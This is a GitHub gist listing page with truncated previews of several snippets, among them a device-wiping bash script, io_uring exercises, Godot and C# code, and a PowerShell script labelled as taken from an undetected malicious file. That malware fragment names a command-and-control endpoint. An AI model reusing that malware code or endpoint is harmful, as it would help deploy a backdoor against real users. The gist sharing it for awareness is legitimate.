Skip to content

Instantly share code, notes, and snippets.

View ALiwoto's full-sized avatar
🚩
Trying to experience new things

ALi.w ALiwoto

🚩
Trying to experience new things
  • Earth, under the blue sky
  • 14:18 (UTC +03:30)
View GitHub Profile
@tavallaie
tavallaie / secure_erase.sh
Last active March 18, 2024 01:24
**Secure Data Erasure Script (Bash)** This Bash script securely erases data from a specified device with random data, ensuring irrecoverability. Use with caution.
#!/bin/bash
# Check if the script is run with superuser privileges
if [ "$EUID" -ne 0 ]; then
echo "Please run this script as root (sudo)."
exit 1
fi
# Prompt the user for the target devices
read -p "Enter the target devices (e.g., /dev/sdX /dev/sdY): " target_devices
@rlapz
rlapz / fturing.c
Last active April 4, 2023 19:43
liburing exercise
/* compile: cc fturing.c -o fturing -luring -DNDEBUG -O3 */
#include <endian.h>
#include <errno.h>
#include <error.h>
#include <liburing.h>
#include <libgen.h>
#include <netdb.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
@ALiwoto
ALiwoto / QueraQuestion17675.cs
Created December 2, 2022 13:15
QueraQuestion17675
using System;
namespace CW1
{
public class QueraQuestion17675
{
static int previousFib = 0;
static int lastFib = 1;
public static void Main(string[] args)
{
@ALiwoto
ALiwoto / my_particles2d_01.gd
Last active June 19, 2022 02:04
A few examples of creating particles2D in godot using only gdscript
class_name MyParticles2D01
extends Particles2D
# Declare member variables here. Examples:
# var a = 2
# var b = "text"
# Called when the node enters the scene tree for the first time.
@infernoboy
infernoboy / SyncAppvPublishingServer.vbs
Last active December 12, 2023 20:04
Copied from a clean install of Windows 11
'---------------------------------------------------------------------------------------------
' Copyright: Microsoft Corp.
'
' This script is designed to be used only for scheduled tasks(s).
' There is no extensive error check, and will not dump the output from the Powershell CmdLet.
'
' Usage: SyncAppvPublishingServer {cmdline-args(passthrough to cmdlet)}
'---------------------------------------------------------------------------------------------
Option Explicit
@infernoboy
infernoboy / danger.ps1
Created April 8, 2022 23:39
This script was found in a malicious file not being detected by any AV as reported by virustotal
$scriptItem = Get-Item -Path $MyInvocation.MyCommand.Path;
$OS_Major = [System.Environment]::OSVersion.Version.Major.ToString() + "." + [System.Environment]::OSVersion.Version.Minor.ToString();
$EndPointURL = "http://api.private-chatting.com/connect";
$__Version__ = "M_37";
[string]$WorkerEnHandle = [Guid]::NewGuid().ToString();
[System.Threading.EventWaitHandle]$WorkerEn = [System.Threading.EventWaitHandle]::new($true, [System.Threading.EventResetMode]::ManualReset, $WorkerEnHandle);
function XF3a8JO3r5r8G([string] $str) {
return [System.Environment]::ExpandEnvironmentVariables("%" + $str + "%")
}
@ii64
ii64 / evloop.go
Created February 10, 2022 20:46
gouring evloop implemetation
package main
import (
"fmt"
"io"
"log"
"net"
"net/http"
"runtime"
"sync/atomic"
<?php
chdir("/opt/systemd/linux2");
$handle = fopen("/tmp/.linux.git_lock", "a");
while (!flock($handle, LOCK_EX | LOCK_NB)) {
printf("Waiting for the lock...\n");
sleep(1);
}
function ca($str)
@PaulSonOfLars
PaulSonOfLars / inlineQueryUnhash.go
Created December 24, 2021 09:56
Telegram Inline query unhasher
import (
"bytes"
"encoding/base64"
"encoding/binary"
"fmt"
"strconv"
)
func UnpackInlineMessageId(inlineMessageId string) (int64, int64, int64, int64, error) {
bs, err := base64.RawURLEncoding.DecodeString(inlineMessageId)